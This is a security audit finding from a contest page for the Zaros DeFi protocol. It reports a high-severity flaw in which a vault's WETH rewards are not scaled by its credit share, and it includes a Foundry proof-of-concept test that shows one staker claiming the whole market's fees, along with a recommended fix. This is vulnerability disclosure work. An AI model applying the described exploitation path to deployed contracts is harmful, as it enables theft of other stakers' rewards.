Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Valid

Discrepancy in how Market::wethRewardChangeX18 overallocates weth rewards per vault which allows users to withdraw more weth rewards than they should be allocated

Summary

There is a logical discrepancy in how Market::wethRewardChangeX18 is computed in Market::getVaultAccumulatedValues. Unlike the other reward values (realized debt, unrealized debt, and USDC credit), Market::wethRewardChangeX18 is not multiplied by the vault’s share of total delegated credit (vaultCreditShareX18). Additionally, the code does not check whether the vault has previously distributed rewards (i.e., if lastVaultDistributedWethRewardPerShareX18 is zero) before calculating changes.

Vulnerability Details

Incorrect Reward Calculation:

The function correctly multiplies other reward deltas (realizedDebtChangeUsdX18, unrealizedDebtChangeUsdX18, usdcCreditChangeX18) by the vault’s credit share (vaultCreditShareX18) as the function is called getVaultAccumulatedValues and the natspec is as follows:

/// @notice Calculates the latest debt, usdc credit and weth reward values a vault is entitled to receive from the
/// market since its last accumulation event.

However, wethRewardChangeX18 is calculated only as:

wethRewardChangeX18 = ud60x18(self.wethRewardPerVaultShare)
.sub(lastVaultDistributedWethRewardPerShareX18);

without factoring in vaultCreditShareX18. This discrepancy calculates the wethRewardChange for the market instead of the reward the vault is entitled to.

No Check for Zero Distribution:

The other reward calculations do something like:

realizedDebtChangeUsdX18 = !lastVaultDistributedRealizedDebtUsdPerShareX18.isZero()
? ...
: SD59x18_ZERO;

This condition bypasses calculations if the vault has not previously distributed any rewards. By contrast, wethRewardChangeX18 has no similar check, which may lead to incorrect initial distribution logic.

This leads to further discrepancies as the following lines are in Vault::_recalculateConnectedMarketsState:

// prevent division by zero
if (!market.getTotalDelegatedCreditUsd().isZero()) {
// get the vault's accumulated debt, credit and reward changes from the market to update its stored
// values
(
ctx.realizedDebtChangeUsdX18,
ctx.unrealizedDebtChangeUsdX18,
ctx.usdcCreditChangeX18,
ctx.wethRewardChangeX18
) = market.getVaultAccumulatedValues(
ud60x18(creditDelegation.valueUsd),
sd59x18(creditDelegation.lastVaultDistributedRealizedDebtUsdPerShare),
sd59x18(creditDelegation.lastVaultDistributedUnrealizedDebtUsdPerShare),
ud60x18(creditDelegation.lastVaultDistributedUsdcCreditPerShare),
ud60x18(creditDelegation.lastVaultDistributedWethRewardPerShare)
);
}
// if there's been no change in any of the returned values, we can iterate to the next
// market id
if (
ctx.realizedDebtChangeUsdX18.isZero() && ctx.unrealizedDebtChangeUsdX18.isZero()
&& ctx.usdcCreditChangeX18.isZero() && ctx.wethRewardChangeX18.isZero()
) {
continue;
}
// update the vault's state by adding its share of the market's latest state variables
vaultTotalRealizedDebtChangeUsdX18 = vaultTotalRealizedDebtChangeUsdX18.add(ctx.realizedDebtChangeUsdX18);
vaultTotalUnrealizedDebtChangeUsdX18 =
vaultTotalUnrealizedDebtChangeUsdX18.add(ctx.unrealizedDebtChangeUsdX18);
vaultTotalUsdcCreditChangeX18 = vaultTotalUsdcCreditChangeX18.add(ctx.usdcCreditChangeX18);
vaultTotalWethRewardChangeX18 = vaultTotalWethRewardChangeX18.add(ctx.wethRewardChangeX18);

Market::getVaultAccumulatedValues is called and it returns ctx.wethRewardChangeX18. The final line is the one to focus on as it adds ctx.wethRewardChangeX18 to vaultTotalWethRewardChangeX18 which represents the total weth reward change of the vault. This value is incorrect as I explained above as ctx.wethRewardChangeX18 is the total weth reward change for the market and not per vault.

Furthermore Vault::recalculateVaultsCreditCapacity is as follows:

function recalculateVaultsCreditCapacity(uint256[] memory vaultsIds) internal {
for (uint256 i; i < vaultsIds.length; i++) {
// uint256 -> uint128
uint128 vaultId = vaultsIds[i].toUint128();
// load the vault storage pointer
Data storage self = load(vaultId);
// make sure there are markets connected to the vault
uint256 connectedMarketsConfigLength = self.connectedMarkets.length;
if (connectedMarketsConfigLength == 0) continue;
// loads the connected markets storage pointer by taking the last configured market ids uint set
EnumerableSet.UintSet storage connectedMarkets = self.connectedMarkets[connectedMarketsConfigLength - 1];
// cache the connected markets ids to avoid multiple storage reads, as we're going to loop over them twice
// at `_recalculateConnectedMarketsState` and `_updateCreditDelegations`
uint128[] memory connectedMarketsIdsCache = new uint128[]());
// update vault and credit delegation weight
updateVaultAndCreditDelegationWeight(self, connectedMarketsIdsCache);
// iterate over each connected market id and distribute its debt so we can have the latest credit
// delegation of the vault id being iterated to the provided `marketId`
(
uint128[] memory updatedConnectedMarketsIdsCache,
SD59x18 vaultTotalRealizedDebtChangeUsdX18,
SD59x18 vaultTotalUnrealizedDebtChangeUsdX18,
UD60x18 vaultTotalUsdcCreditChangeX18,
UD60x18 vaultTotalWethRewardChangeX18
) = _recalculateConnectedMarketsState(self, connectedMarketsIdsCache, true);
// gas optimization: only write to storage if values have changed
//
// updates the vault's stored unsettled realized debt distributed from markets
if (!vaultTotalRealizedDebtChangeUsdX18.isZero()) {
self.marketsRealizedDebtUsd = sd59x18(self.marketsRealizedDebtUsd).add(
vaultTotalRealizedDebtChangeUsdX18
).intoInt256().toInt128();
}
// updates the vault's stored unrealized debt distributed from markets
if (!vaultTotalUnrealizedDebtChangeUsdX18.isZero()) {
self.marketsUnrealizedDebtUsd = sd59x18(self.marketsUnrealizedDebtUsd).add(
vaultTotalUnrealizedDebtChangeUsdX18
).intoInt256().toInt128();
}
// adds the vault's total USDC credit change, earned from its connected markets, to the
// `depositedUsdc` variable
if (!vaultTotalUsdcCreditChangeX18.isZero()) {
self.depositedUsdc = ud60x18(self.depositedUsdc).add(vaultTotalUsdcCreditChangeX18).intoUint128();
}
// distributes the vault's total WETH reward change, earned from its connected markets
if (!vaultTotalWethRewardChangeX18.isZero() && self.wethRewardDistribution.totalShares != 0) {
SD59x18 vaultTotalWethRewardChangeSD59X18 =
sd59x18(int256(vaultTotalWethRewardChangeX18.intoUint256()));
self.wethRewardDistribution.distributeValue(vaultTotalWethRewardChangeSD59X18);
}
// update the vault's credit delegations
(, SD59x18 vaultNewCreditCapacityUsdX18) =
_updateCreditDelegations(self, updatedConnectedMarketsIdsCache, false);
emit LogUpdateVaultCreditCapacity(
vaultId,
vaultTotalRealizedDebtChangeUsdX18.intoInt256(),
vaultTotalUnrealizedDebtChangeUsdX18.intoInt256(),
vaultTotalUsdcCreditChangeX18.intoUint256(),
vaultTotalWethRewardChangeX18.intoUint256(),
vaultNewCreditCapacityUsdX18.intoInt256()
);
}
}

In this function, the inflated vault::vaultTotalWethRewardChangeX18 variable is returned from vault::_recalculateConnectedMarketsState and is then used to call self.wethRewardDistribution.distributeValue(vaultTotalWethRewardChangeSD59X18);. See Distribution::distributeValue below:

function distributeValue(Data storage self, SD59x18 value) internal {
if (value.eq(SD59x18_ZERO)) {
return;
}
UD60x18 totalShares = ud60x18(self.totalShares);
if (totalShares.eq(UD60x18_ZERO)) {
revert Errors.EmptyDistribution();
}
SD59x18 deltaValuePerShare = value.div(totalShares.intoSD59x18());
self.valuePerShare = sd59x18(self.valuePerShare).add(deltaValuePerShare).intoInt256();
}

Distribution::distributeValue takes the inflated weth rewards returned in vault::vaultTotalWethRewardChangeX18 and distributes it between all shareholders which allows actors who hold shares of a particular vault to claim fees for the entire market which prevents actors with other vault shares connected to the same market from claiming their fees from the market.

Proof Of Code (POC)

function testFuzz_vaultinflatedwethrewards(
uint128 assetsToDepositA,
uint128 assetsToDepositB,
uint256 vaultId1,
uint256 vaultId2,
uint256 marketId1,
uint128 marketFees,
uint256 adapterIndex
)
external
{
vm.stopPrank();
VaultConfig memory fuzzVaultConfig1 = getFuzzVaultConfig(vaultId1);
vm.assume(fuzzVaultConfig1.asset != address(usdc));
PerpMarketCreditConfig memory fuzzMarketConfig1 = getFuzzPerpMarketCreditConfig(marketId1);
VaultConfig memory fuzzVaultConfig2 = getFuzzVaultConfig(vaultId2);
vm.assume(fuzzVaultConfig2.asset != address(usdc));
vm.assume(fuzzVaultConfig1.vaultId != fuzzVaultConfig2.vaultId);
//c set up 2 vaults and connect them to 1 market
uint256[] memory marketIds = new uint256[](2);
marketIds[0] = fuzzMarketConfig1.marketId;
marketIds[1] = fuzzMarketConfig1.marketId;
uint256[] memory vaultIds = new uint256[](2);
vaultIds[0] = fuzzVaultConfig1.vaultId;
vaultIds[1] = fuzzVaultConfig2.vaultId;
vm.prank(users.owner.account);
marketMakingEngine.connectVaultsAndMarkets(marketIds, vaultIds);
//c 2 users are configured and deposit into each vault
address userA = users.naruto.account;
address userB = users.sasuke.account;
uint128 assetsToDepositA =
uint128(bound(assetsToDepositA, calculateMinOfSharesToStake(fuzzVaultConfig1.vaultId), fuzzVaultConfig1.depositCap / 2));
fundUserAndDepositInVault(userA, fuzzVaultConfig1.vaultId, assetsToDepositA);
uint128 assetsToDepositB =
uint128(bound(assetsToDepositB, calculateMinOfSharesToStake(fuzzVaultConfig2.vaultId), fuzzVaultConfig2.depositCap / 2));
fundUserAndDepositInVault(userB, fuzzVaultConfig2.vaultId, assetsToDepositB);
//c both users stake assets in respective vaults
vm.startPrank(userA);
marketMakingEngine.stake(fuzzVaultConfig1.vaultId, uint128(IERC20(fuzzVaultConfig1.indexToken).balanceOf(userA)));
vm.stopPrank();
vm.startPrank(userB);
marketMakingEngine.stake(fuzzVaultConfig2.vaultId, uint128(IERC20(fuzzVaultConfig2.indexToken).balanceOf(userB)));
vm.stopPrank();
// sent WETH market fees from PerpsEngine -> MarketEngine
marketFees = uint128(bound(marketFees, calculateMinOfSharesToStake(fuzzVaultConfig1.vaultId), fuzzVaultConfig1.depositCap / 2));
deal(fuzzVaultConfig1.asset, address(fuzzMarketConfig1.engine), marketFees);
vm.prank(address(fuzzMarketConfig1.engine));
marketMakingEngine.receiveMarketFee(fuzzMarketConfig1.marketId, fuzzVaultConfig1.asset, marketFees);
assertEq(IERC20(fuzzVaultConfig1.asset).balanceOf(address(marketMakingEngine)), marketFees);
if(fuzzVaultConfig1.asset != marketMakingEngine.workaround_getWethAddress()) {IDexAdapter adapter = getFuzzDexAdapter(adapterIndex);
vm.startPrank(address(fuzzMarketConfig1.engine));
marketMakingEngine.convertAccumulatedFeesToWeth(fuzzMarketConfig1.marketId, fuzzVaultConfig1.asset, adapter.STRATEGY_ID(), bytes(""));
vm.stopPrank();
}
//c compare the total weth reward of the market to the weth reward of the user shows that user can claim the total weth reward of the market. couldnt get assertapproxeqabs to work so i used console.log to check the values. if you can get it working, please do. if not, view the logs to see the comparison. narutorewardamount and totalwethrewardmarket have a difference of 1 due to some rounding errors I guess but that is insignificant but it will cause using raw assertEq to fail.
uint256 totalwethrewardmarket = marketMakingEngine.workaround\_gettotalWethReward(fuzzMarketConfig1.marketId);
console.log(totalwethrewardmarket);
SD59x18 narutorewardamount = marketMakingEngine.exposed\_getActorValueChange(fuzzVaultConfig1.vaultId, bytes32(uint256(uint160(userA))));
console.log(narutorewardamount.unwrap());
SD59x18 sasukerewardamount = marketMakingEngine.exposed\_getActorValueChange(fuzzVaultConfig2.vaultId, bytes32(uint256(uint160(userB))));
console.log(sasukerewardamount.unwrap());
/* StdAssertions.assertApproxEqAbs(int256(totalwethrewardmarket) == narutorewardamount.unwrap(), 10); */
// staker from vault 1 claims rewards of entire market successfully
vm.startPrank(userA);
marketMakingEngine.claimFees(fuzzVaultConfig1.vaultId);
}

OPTIONAL ADDON THAT MAY BE NEEDED IF RUNNING INTO WORKAROUND ERRORS WHEN RUNNING POC

Note that I added the following workarounds to VaultHarness.sol and MarketHarness.sol to get values I needed and I may have used them for POC's so if some of the tests do not work due to workaround functions not being found, add the following functions to VaultHarness.sol:

function workaround_CreditDelegation_getweight(uint128 vaultId, uint128 marketId) external view returns (uint128) {
CreditDelegation.Data storage creditDelegation = CreditDelegation.load(vaultId, marketId);
return creditDelegation.weight;
}
function workaround_Vault_getTotalCreditDelegationWeight(
uint128 vaultId
)
external view returns (uint128)
{
Vault.Data storage vaultData = Vault.load(vaultId);
return vaultData.totalCreditDelegationWeight ;
}
function workaround_CreditDelegation_getlastVaultDistributedRealizedDebtUsdPerShare(uint128 vaultId, uint128 marketId) external view returns (int128) {
CreditDelegation.Data storage creditDelegation = CreditDelegation.load(vaultId, marketId);
return creditDelegation.lastVaultDistributedRealizedDebtUsdPerShare;}
function workaround_CreditDelegation_setvalueUsd(uint128 vaultId, uint128 marketId, uint128 valueUsd) external {
CreditDelegation.Data storage creditDelegation = CreditDelegation.load(vaultId, marketId);
creditDelegation.valueUsd = valueUsd;
}
function workaround_CreditDelegation_getlastVaultDistributedUnrealizedDebtUsdPerShare(uint128 vaultId, uint128 marketId) external view returns (int128) {
CreditDelegation.Data storage creditDelegation = CreditDelegation.load(vaultId, marketId);
return creditDelegation.lastVaultDistributedUnrealizedDebtUsdPerShare;}
function workaround_CreditDelegation_getlastVaultDistributedUsdcCreditPerShare(uint128 vaultId, uint128 marketId) external view returns (uint128) {
CreditDelegation.Data storage creditDelegation = CreditDelegation.load(vaultId, marketId);
return creditDelegation.lastVaultDistributedUsdcCreditPerShare;}
function workaround_CreditDelegation_getlastVaultDistributedWethRewardPerShare(uint128 vaultId, uint128 marketId) external view returns (uint128) {
CreditDelegation.Data storage creditDelegation = CreditDelegation.load(vaultId, marketId);
return creditDelegation.lastVaultDistributedWethRewardPerShare;}
Add the following functions to MarketHarness.sol:
function workaround_gettotalWethReward(uint128 marketId) external view returns (uint256) {
Market.Data storage market = Market.load(marketId);
return market.wethRewardPerVaultShare;
}
function workaround_getrealizedDebtUsdPerVaultShare(uint128 marketId) external view returns (int128) {
Market.Data storage market = Market.load(marketId);
return market.realizedDebtUsdPerVaultShare;
}

After registering the selectors of these functions in TreeProxyUtils.sol and increasing the bytes array size, it should work as expected and return the correct values

Impact

Overestimation of Rewards: If a vault has a small share of the total delegated credit, it will receive an inflated reward that does not correspond to its actual contribution.

Reward Theft: Malicious actors could create or manipulate vaults with minimal delegated credit to claim rewards intended for the entire market.

Loss of Funds: Legitimate users with larger shares of delegated credit may lose out on rewards they are entitled to, as these rewards are siphoned off by malicious actors.

Tools Used

Manual Review, Foundry

Recommendations

Include vaultCreditShareX18 Multiplication:

Align wethRewardChangeX18 with the other per-share calculations:

wethRewardChangeX18 = !lastVaultDistributedWethRewardPerShareX18.isZero()
? (
ud60x18(self.wethRewardPerVaultShare)
.sub(lastVaultDistributedWethRewardPerShareX18)
).mul(vaultCreditShareX18)
: UD60x18_ZERO;

This ensures that the vault only receives the portion of WETH that corresponds to its share of total delegated credit.

Add Zero-Check for Initial Distribution:

Mirror the pattern used for realized/unrealized debt and USDC credit so that if lastVaultDistributedWethRewardPerShareX18 == 0, the function returns zero for the vault’s WETH change (or handles first-time logic appropriately).

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`wethRewardPerVaultShare` is incremented by `receivedVaultWethReward` amount which is not divided by number of shares.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.